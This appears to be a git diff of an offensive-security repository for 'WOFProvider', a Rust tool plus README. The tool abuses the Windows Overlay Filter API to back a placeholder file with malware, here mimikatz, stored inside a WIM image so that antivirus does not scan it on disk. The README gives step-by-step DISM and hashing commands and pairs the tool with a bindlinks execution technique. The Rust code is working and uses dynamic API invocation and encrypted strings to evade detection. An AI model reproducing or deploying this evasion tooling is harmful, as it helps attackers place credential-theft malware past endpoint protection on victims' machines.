The idea of this solution is to use it as an alternative method to drop malware instead of using the [**SyncProvider**](../SyncProvider/README.md) project for this purpose. **WOFProvider** makes it possible to use [wofapi](https://learn.microsoft.com/en-us/windows/win32/api/wofapi/) to set a [WIM](https://www.microsoft.com/en-us/download/details.aspx?id=13096) file as an external data source. Ultimately, this allows the content of a file on disk to be obtained not from the local file system itself, but from this external WIM file at access time. All this functionality is provided by the `Wof` minifilter (default altitude: 40700).
|
||||
|
||||
A WIM file is a disk image format created by Microsoft to store one or more compressed images in Windows. In short, it is a "compressed" file with a particular structure that allows storing and deploying a set of files. It is widely used as installation media and in maintenance tasks, although we are going to use it to store malware that goes unnoticed and that we can deploy without it being statically analyzed.
|
||||
|
||||
The idea is to create a `WIM` file with the Windows `DISM` utility from a directory that contains the malware we want to deploy. This will create the container file while preserving the original directory tree, except that the malware content will not be in clear text as such, but will be compressed and stored following the WIM file format. This means that, when dropping the WIM file to disk, unless **the protection solution is forced to perform a manual scan**, the malware will not be detected because the WIM file will be analyzed as a normal file without taking its particular storage structure into account (similar to what happens with other types of image container files such as ISO or VHDX).
|
||||
|
||||
Once the WIM is present on the system disk, we will create a placeholder file (similar to what we did with the `Cloud Filter API`) and set the WIM file as the data source for this file, so that when it is accessed the content is obtained from the WIM file and not from disk. This effectively allows performing the action of "writing malware to disk without it being statically analyzed". Now, to later execute the payload without it being analyzed at runtime, it is necessary to combine this deployment technique with the `bindlinks` technique already described [here](../BindLinks/README.md).
|
||||
|
||||
With all this, the malware deployment method would be as follows:
|
||||
|
||||
1. Create a WIM container file with `DISM` from a directory where we have stored the files we want to deploy on the target. In this case, again, we will use `mimikatz.exe` as the malware to deploy.
|
||||
|
||||
```
|
||||
C:\Path\To\Puzzle\bin>dism /Capture-Image /ImageFile:C:\temp\file.wim /CaptureDir:C:\temp\wof_src /Name:"TestWOF" /Compress:fast
|
||||
```
|
||||
|
||||
This will create a `C:\temp\file.wim` file with the content of everything under `C:\temp\wof_src` stored inside an image named `TestWOF` (index 1 can also be used to access the image).
|
||||
|
||||
2. We also need to know the `SHA-1` hash of the malware we want to execute on the target, since it will be requested when creating the placeholder. We can easily obtain this with `Powershell`. Additionally, in the **Scripts** folder we can find the `get_wim_hash.py` file, which allows us to analyze the information of a WIM and of a file contained inside it in more detail (requires execution on Linux and previously installing `wimlib-imagex`):
|
||||
|
||||
```
|
||||
PS C:\Path\To\Puzzle\bin>Get-FileHash -Algorithm SHA1 -Path "C:\temp\wof_src\dirA\notmimi.exe"
|
||||
Algorithm Hash Path
|
||||
--------- ---- ----
|
||||
SHA1 E3B6EA8C46FA831CEC6F235A5CF48B38A4AE8D69 C:\temp\wof_src\dirA\notmimi.exe
|
||||
```
|
||||
|
||||
3. With all this, we can now drop the WIM on the target system and use **WOFProvider** to set it as an external data source for a placeholder that we will create specifically for this target:
|
||||
|
||||
```
|
||||
C:\Path\To\Puzzle\bin>wof_provider.exe
|
||||
> Wim file path: C:\random\folder\file.wim
|
||||
> Placeholder path: C:\temp\notmimi.exe
|
||||
> Resource hash: E3B6EA8C46FA831CEC6F235A5CF48B38A4AE8D69
|
||||
> Image index: 1 (or TestWOF)
|
||||
|
||||
[+] WIM data provider sucessfully registered. Data source id: 1.
|
||||
[+] Placeholder is now backed by a system data provider.
|
||||
[-] Press any key to exit...
|
||||
```
|
||||
|
||||
4. This will create a placeholder at `C:\temp\notmimi.exe` which, when accessed, will execute in this case the code corresponding to the file with hash `E3B6EA8C46FA831CEC6F235A5CF48B38A4AE8D69` contained inside `C:\random\folder\file.wim`. This entire process of parsing and accessing the content of the WIM file will be performed transparently by the `Wof` minifilter. As happened with deployment through the sync provider, this technique is useful for dropping the malware without it being analyzed, but it is essential to combine it with the creation of a [bindlink](../BindLinks/README.md) to execute the malware through its FRN.
|
||||
|
||||
5. Finally, when you want to remove the WIM as an external data source, simply press `Enter` to finish execution.
|
||||
|
||||
As an additional note, it should be clear that if the WIM file is analyzed **explicitly** (that is, `Right click -> Scan file`) with `Microsoft Defender` (and probably other security solutions, I did not test it), then **the WIM parsing engine provided by the operating system will indeed be used and the malware contained in the WIM file will be detected**. However, this will not happen if we simply write the WIM to disk and use it as an external source.
|
||||
|
||||
|
||||

|
||||
@@ -0,0 +1,3 @@
|
||||
fn main() {
|
||||
static_vcruntime::metabuild();
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
[package]
|
||||
name = "data"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
|
||||
[dependencies.windows]
|
||||
version = "=0.62"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
]
|
||||
@@ -0,0 +1,11 @@
|
||||
use std::ffi::c_void;
|
||||
use windows::Win32::Foundation::HANDLE;
|
||||
|
||||
pub const WIM_BOOT_NOT_OS_WIM: u32 = 0;
|
||||
pub const WIM_PROVIDER_HASH_SIZE_CHARS: u32 = 40;
|
||||
pub const WIM_PROVIDER_HASH_SIZE: u32 = 20; // bytes
|
||||
pub const WOF_PROVIDER_WIM: u32 = 1;
|
||||
|
||||
pub type WofWimAddEntry = unsafe extern "system" fn(*const u16, *const u16, u32, u32, *mut i64) -> u32; // Returns HRESULT
|
||||
pub type WofSetFileDataLocation = unsafe extern "system" fn(HANDLE, u32, *mut c_void, u32) -> u32; // Returns HRESULT
|
||||
pub type WofWimRemoveEntry = unsafe extern "system" fn(*const u16, i64) -> u32; // Returns HRESULT
|
||||
@@ -0,0 +1,18 @@
|
||||
[package]
|
||||
name = "provider"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
data = { path = "../data" }
|
||||
dinvoke_rs = "=0.2.1"
|
||||
litcrypt2 = "=0.1.2"
|
||||
hex = "0.4"
|
||||
|
||||
[dependencies.windows]
|
||||
version = "=0.62"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Storage",
|
||||
"Win32_Storage_FileSystem"
|
||||
]
|
||||
@@ -0,0 +1,145 @@
|
||||
use litcrypt2::{use_litcrypt, lc};
|
||||
use_litcrypt!();
|
||||
|
||||
use std::ptr;
|
||||
use data::{WIM_BOOT_NOT_OS_WIM, WIM_PROVIDER_HASH_SIZE_CHARS, WOF_PROVIDER_WIM, WofSetFileDataLocation, WofWimAddEntry, WofWimRemoveEntry};
|
||||
use dinvoke_rs::data::{FILE_SHARE_READ, FILE_SHARE_WRITE, GENERIC_READ, GENERIC_WRITE};
|
||||
use windows::Win32::{Foundation::HANDLE, Storage::FileSystem::WIM_EXTERNAL_FILE_INFO};
|
||||
|
||||
pub fn register_wim_data_provider(wim_path: &str, placeholder_path: &str, resource_hash: &str, volume: &str, image_index: u32, data_source_id: &mut i64) -> bool
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
if resource_hash.len() as u32 != WIM_PROVIDER_HASH_SIZE_CHARS {
|
||||
println!("{}", &lc!("[x] Incorrect resource hash lenght (40 characterts - 20 bytes)."));
|
||||
return false;
|
||||
}
|
||||
|
||||
let bytes = hex::decode(resource_hash);
|
||||
if bytes.is_err() {
|
||||
println!("{}", &lc!("[x] Incorrect resource hash value."));
|
||||
return false;
|
||||
}
|
||||
|
||||
let wofutil = dinvoke_rs::dinvoke::load_library_a(&lc!("wofutil.dll"));
|
||||
if wofutil == 0 {
|
||||
println!("{}", &lc!("[x] Failed to load wofutil.dll."));
|
||||
return false;
|
||||
}
|
||||
|
||||
let k32 = dinvoke_rs::dinvoke::load_library_a(&lc!("kernel32.dll"));
|
||||
if k32 == 0 {
|
||||
println!("{}", &lc!("[x] kernel32.dll is not loaded in the current process."));
|
||||
return false;
|
||||
}
|
||||
|
||||
let wim_path_wide = dinvoke_rs::utils::str_to_wide_string(&wim_path);
|
||||
let placeholder_path_wide = dinvoke_rs::utils::str_to_wide_string(&placeholder_path);
|
||||
let volume_wide = dinvoke_rs::utils::str_to_wide_string(&volume);
|
||||
|
||||
let function: WofWimAddEntry;
|
||||
let ret: Option<u32>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
wofutil,
|
||||
&lc!("WofWimAddEntry"),
|
||||
function,
|
||||
ret,
|
||||
volume_wide.as_ptr(),
|
||||
wim_path_wide.as_ptr(),
|
||||
WIM_BOOT_NOT_OS_WIM,
|
||||
image_index,
|
||||
data_source_id
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to WofWimAddEntry failed. HRESULT: "), ret.unwrap());
|
||||
return false;
|
||||
}
|
||||
|
||||
println!("{}{}.", &lc!("[+] WIM data provider sucessfully registered. Data source id: "), data_source_id);
|
||||
|
||||
let mut wim_info = WIM_EXTERNAL_FILE_INFO::default();
|
||||
wim_info.DataSourceId = *data_source_id;
|
||||
wim_info.Flags = 0;
|
||||
wim_info.ResourceHash = bytes.unwrap().try_into().unwrap();
|
||||
|
||||
let function: dinvoke_rs::data::CreateFileW;
|
||||
let ret: Option<HANDLE>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
k32,
|
||||
&lc!("CreateFileW"),
|
||||
function,
|
||||
ret,
|
||||
placeholder_path_wide.as_ptr(),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
ptr::null(),
|
||||
4, // OPEN_ALWAYS
|
||||
0x80, // FILE_ATTRIBUTE_NORMAL
|
||||
HANDLE::default()
|
||||
);
|
||||
|
||||
let file_handle = ret.unwrap();
|
||||
if file_handle.0 == -1 as _ {
|
||||
println!("{}{}.", lc!("[x] Failed to create/open a handle to placeholder "), placeholder_path);
|
||||
return false;
|
||||
}
|
||||
|
||||
let function: WofSetFileDataLocation;
|
||||
let ret: Option<u32>;
|
||||
let wim_info_ptr = std::mem::transmute(&wim_info);
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
wofutil,
|
||||
&lc!("WofSetFileDataLocation"),
|
||||
function,
|
||||
ret,
|
||||
file_handle,
|
||||
WOF_PROVIDER_WIM,
|
||||
wim_info_ptr,
|
||||
size_of::<WIM_EXTERNAL_FILE_INFO>() as _
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to WofSetFileDataLocation failed. HRESULT: "), ret.unwrap());
|
||||
dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
return false;
|
||||
}
|
||||
|
||||
println!("{}", &lc!("[+] Placeholder is now backed by a system data provider."));
|
||||
|
||||
dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
pub fn unregister_wim_data_provider(volume: &str, data_source_id: i64)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let wofutil = dinvoke_rs::dinvoke::load_library_a(&lc!("wofutil.dll"));
|
||||
if wofutil == 0 {
|
||||
println!("{}", &lc!("[x] Failed to load wofutil.dll."));
|
||||
return;
|
||||
}
|
||||
|
||||
let volume_wide = dinvoke_rs::utils::str_to_wide_string(&volume);
|
||||
|
||||
let function: WofWimRemoveEntry;
|
||||
let ret: Option<u32>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
wofutil,
|
||||
&lc!("WofWimRemoveEntry"),
|
||||
function,
|
||||
ret,
|
||||
volume_wide.as_ptr(),
|
||||
data_source_id
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to WofWimRemoveEntry failed. HRESULT: "), ret.unwrap());
|
||||
}
|
||||
|
||||
println!("{}{}.", &lc!("[+] Successfully unregistered data source with ID "), data_source_id);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
use litcrypt2::{use_litcrypt, lc};
|
||||
use_litcrypt!();
|
||||
|
||||
use std::{fs, io::{self, Write}, path::{Path, Prefix}};
|
||||
|
||||
fn main()
|
||||
{
|
||||
let (wim_path, placeholder_path, resource_hash, image_index) = ask_user_input();
|
||||
let volume = match windows_drive_root(&placeholder_path) {
|
||||
Some(v) => v,
|
||||
None => {
|
||||
println!("{}", &lc!("[x] Failed to determine volume from placeholder path."));
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
if !fs::exists(&wim_path).unwrap() {
|
||||
println!("{}{}.", &lc!("[x] File not found: "), &wim_path);
|
||||
return;
|
||||
}
|
||||
|
||||
let mut data_provider_id = -1i64;
|
||||
let image_index_u32 = image_index.parse().unwrap_or(1);
|
||||
let success = provider::register_wim_data_provider(&wim_path, &placeholder_path, &resource_hash, &volume, image_index_u32, &mut data_provider_id);
|
||||
if !success && data_provider_id != -1 {
|
||||
provider::unregister_wim_data_provider(&volume, data_provider_id);
|
||||
return;
|
||||
}
|
||||
|
||||
println!("{}", &lc!("[-] Press any key to exit..."));
|
||||
io::stdout().flush().unwrap();
|
||||
let mut line = String::new();
|
||||
io::stdin().read_line(&mut line).unwrap();
|
||||
|
||||
provider::unregister_wim_data_provider(&volume, data_provider_id);
|
||||
|
||||
}
|
||||
|
||||
fn ask_user_input() -> (String, String, String, String)
|
||||
{
|
||||
let mut s1 = String::new();
|
||||
let mut s2 = String::new();
|
||||
let mut s3 = String::new();
|
||||
let mut s4 = String::new();
|
||||
|
||||
print!("{}" ,&lc!("> Wim file path: "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s1).unwrap();
|
||||
|
||||
print!("{}" ,&lc!("> Placeholder path: "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s2).unwrap();
|
||||
|
||||
print!("{}" ,&lc!("> Resource hash: "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s3).unwrap();
|
||||
|
||||
print!("{}" ,&lc!("> Image index: "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s4).unwrap();
|
||||
|
||||
println!();
|
||||
|
||||
(
|
||||
s1.trim().to_string(),
|
||||
s2.trim().to_string(),
|
||||
s3.trim().to_string(),
|
||||
s4.trim().to_string(),
|
||||
)
|
||||
}
|
||||
|
||||
fn windows_drive_root(path_str: &str) -> Option<String> {
|
||||
let path = Path::new(path_str);
|
||||
|
||||
match path.components().next() {
|
||||
Some(std::path::Component::Prefix(pc)) => match pc.kind() {
|
||||
Prefix::Disk(letter) | Prefix::VerbatimDisk(letter) => {
|
||||
let ch = (letter as char).to_ascii_uppercase();
|
||||
Some(format!(r"{}:\", ch))
|
||||
}
|
||||
_ => None,
|
||||
},
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,83 @@
|
||||
@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
REM Usage:
|
||||
REM cargo-all.cmd build [debug|release]
|
||||
REM cargo-all.cmd clean
|
||||
|
||||
set ACTION=%1
|
||||
set MODE=%2
|
||||
|
||||
if "%ACTION%"=="" goto :usage
|
||||
|
||||
REM Script directory (with trailing backslash)
|
||||
set ROOT=%~dp0
|
||||
set BINDIR=%ROOT%bin
|
||||
|
||||
if /I "%ACTION%"=="build" goto :do_build
|
||||
if /I "%ACTION%"=="clean" goto :do_clean
|
||||
goto :usage
|
||||
|
||||
:do_build
|
||||
if "%MODE%"=="" set MODE=debug
|
||||
if /I not "%MODE%"=="debug" if /I not "%MODE%"=="release" goto :usage
|
||||
|
||||
if not exist "%BINDIR%" mkdir "%BINDIR%"
|
||||
|
||||
for /d %%D in (*) do (
|
||||
if exist "%%D\Cargo.toml" (
|
||||
echo.
|
||||
|
||||
if /I "%MODE%"=="release" (
|
||||
cargo build --manifest-path "%%D\Cargo.toml" --release
|
||||
) else (
|
||||
cargo build --manifest-path "%%D\Cargo.toml"
|
||||
)
|
||||
|
||||
if errorlevel 1 (
|
||||
echo Build failed in %%D
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
REM Move only top-level EXEs in target\<mode>\ (not deps/, not build/)
|
||||
if exist "%%D\target\%MODE%\*.exe" (
|
||||
for %%F in ("%%D\target\%MODE%\*.exe") do (
|
||||
set "DEST=%BINDIR%\%%~nxF"
|
||||
move /Y "%%~fF" "!DEST!" >nul
|
||||
echo Moved -^> bin\%%~nxF
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
echo.
|
||||
echo Done. Built and collected binaries into: %BINDIR%
|
||||
exit /b 0
|
||||
|
||||
:do_clean
|
||||
for /d %%D in (*) do (
|
||||
if exist "%%D\Cargo.toml" (
|
||||
echo.
|
||||
cargo clean --manifest-path "%%D\Cargo.toml"
|
||||
if errorlevel 1 (
|
||||
echo Clean failed in %%D
|
||||
exit /b 1
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
echo.
|
||||
echo Done. Clean completed.
|
||||
exit /b 0
|
||||
|
||||
:usage
|
||||
echo.
|
||||
echo Usage:
|
||||
echo cargo-all.cmd build [debug^|release]
|
||||
echo cargo-all.cmd clean
|
||||
echo.
|
||||
echo Notes:
|
||||
echo - Only direct subfolders containing Cargo.toml are processed
|
||||
echo - After build, moves target\^<mode^>\*.exe (top-level only) into .\bin\
|
||||
echo - Output exe names keep the original exe name
|
||||
exit /b 1
|
||||
@@ -0,0 +1,70 @@
|
||||
param(
|
||||
[ValidateSet("menu","build","clean")]
|
||||
[string]$Action = "menu",
|
||||
|
||||
[ValidateSet("debug","release")]
|
||||
[string]$Mode = "debug"
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
function Get-Projects {
|
||||
Get-ChildItem -Directory |
|
||||
Where-Object { Test-Path (Join-Path $_.FullName "Cargo.toml") }
|
||||
}
|
||||
|
||||
function Run-ForAllProjects([ScriptBlock]$Cmd) {
|
||||
$projects = Get-Projects
|
||||
if (-not $projects) {
|
||||
Write-Host "No Rust projects (Cargo.toml) found in direct subfolders."
|
||||
exit 1
|
||||
}
|
||||
|
||||
foreach ($p in $projects) {
|
||||
$manifest = Join-Path $p.FullName "Cargo.toml"
|
||||
Write-Host "`n==> $($p.Name)"
|
||||
& $Cmd $manifest
|
||||
}
|
||||
|
||||
Write-Host "`nDone. Processed $($projects.Count) projects."
|
||||
}
|
||||
|
||||
function Do-Build([string]$mode) {
|
||||
Run-ForAllProjects {
|
||||
param($manifest)
|
||||
if ($mode -eq "release") {
|
||||
cargo build --manifest-path $manifest --release
|
||||
} else {
|
||||
cargo build --manifest-path $manifest
|
||||
}
|
||||
if ($LASTEXITCODE -ne 0) { throw "Build failed." }
|
||||
}
|
||||
}
|
||||
|
||||
function Do-Clean {
|
||||
Run-ForAllProjects {
|
||||
param($manifest)
|
||||
cargo clean --manifest-path $manifest
|
||||
if ($LASTEXITCODE -ne 0) { throw "Clean failed." }
|
||||
}
|
||||
}
|
||||
|
||||
if ($Action -eq "menu") {
|
||||
Write-Host "Choose an action:"
|
||||
Write-Host " 1) Build (debug)"
|
||||
Write-Host " 2) Build (release)"
|
||||
Write-Host " 3) Clean"
|
||||
Write-Host " 4) Exit"
|
||||
$choice = Read-Host "Selection"
|
||||
|
||||
switch ($choice) {
|
||||
"1" { Do-Build "debug" }
|
||||
"2" { Do-Build "release" }
|
||||
"3" { Do-Clean }
|
||||
default { Write-Host "Bye."; exit 0 }
|
||||
}
|
||||
} elseif ($Action -eq "build") {
|
||||
Do-Build $Mode
|
||||
} elseif ($Action -eq "clean") {
|
||||
Do-Clean
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 2.3 MiB |
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 2.2 MiB |
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 783 KiB |
Binary file not shown.
Reference in New Issue
Block a user